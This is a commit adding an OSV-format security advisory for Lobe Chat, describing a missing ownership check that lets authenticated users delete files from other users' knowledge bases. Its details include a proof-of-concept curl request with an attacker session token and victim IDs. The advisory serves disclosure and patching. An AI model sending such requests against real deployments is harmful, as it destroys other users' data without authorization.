Skip to content

Commit e4f5002

Browse files
1 parent ef0f33a commit e4f5002

1 file changed

Lines changed: 65 additions & 0 deletions

File tree

Lines changed: 65 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,65 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-j7xp-4mg9-x28r",
4+
"modified": "2026-01-20T17:14:39Z",
5+
"published": "2026-01-20T17:14:39Z",
6+
"aliases": [
7+
"CVE-2026-23522"
8+
],
9+
"summary": "Lobe Chat has IDOR in Knowledge Base File Removal that Allows Cross User File Deletion",
10+
"details": "### Summary\n\n`knowledgeBase.removeFilesFromKnowledgeBase` tRPC ep allows authenticated users to delete files from any knowledge base without verifying ownership.\n\n### Details\n\n`userId` filter in the database query is commented out, so it's enabling attackers to delete other users' KB files if they know the knowledge base ID and file ID.\n\n### PoC\n\n```\nATTACKER_TOKEN=\"xx\"\n\nVICTIM_KB=\"kb_tuLBfskdDN1r\"\nVICTIM_FILE=\"file_v5wCNLqSaoPp\"\n\ncurl -X POST \"https://localhost/trpc/lambda/knowledgeBase.removeFilesFromKnowledgeBase?batch=1\" -H \"Content-Type: application/json\" -b \"__Secure-better-auth.session_token=$ATTACKER_TOKEN\" -d '{\"0\":{\"json\":{\"knowledgeBaseId\":\"'\"$VICTIM_KB\"'\",\"ids\":[\"'\"$VICTIM_FILE\"'\"]}}}'\n```\n\nResponse:\n\n`{\"result\":{\"data\":{\"json\":{\"command\":\"DELETE\",\"rowCount\":1,\"oid\":null,\"rows\":[],\"fields\":[]}}}}`\n\n### Impact\n\nAn attacker can delete files from any user's KB. RAG/AI functionality broken when files removed. It could cause loss of important documents, proprietary data etc.\n\nWhile the vuln is confirmed, practical exploitation requires knowing target's KB ID and target's file ID. These IDs are random and not easily enumerable. However, IDs may leak through shared links, logs, referrer headers and so on. Missing authorization check is a critical security flaw regardless.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "npm",
21+
"name": "@lobehub/chat"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"last_affected": "1.143.2"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/lobehub/lobe-chat/security/advisories/GHSA-j7xp-4mg9-x28r"
42+
},
43+
{
44+
"type": "ADVISORY",
45+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23522"
46+
},
47+
{
48+
"type": "WEB",
49+
"url": "https://github.com/lobehub/lobe-chat/commit/2c1762b85acb84467ed5e799afe1499cd2f912e6"
50+
},
51+
{
52+
"type": "PACKAGE",
53+
"url": "https://github.com/lobehub/lobe-chat"
54+
}
55+
],
56+
"database_specific": {
57+
"cwe_ids": [
58+
"CWE-284"
59+
],
60+
"severity": "LOW",
61+
"github_reviewed": true,
62+
"github_reviewed_at": "2026-01-20T17:14:39Z",
63+
"nvd_published_at": "2026-01-19T17:15:50Z"
64+
}
65+
}

0 commit comments

Comments
 (0)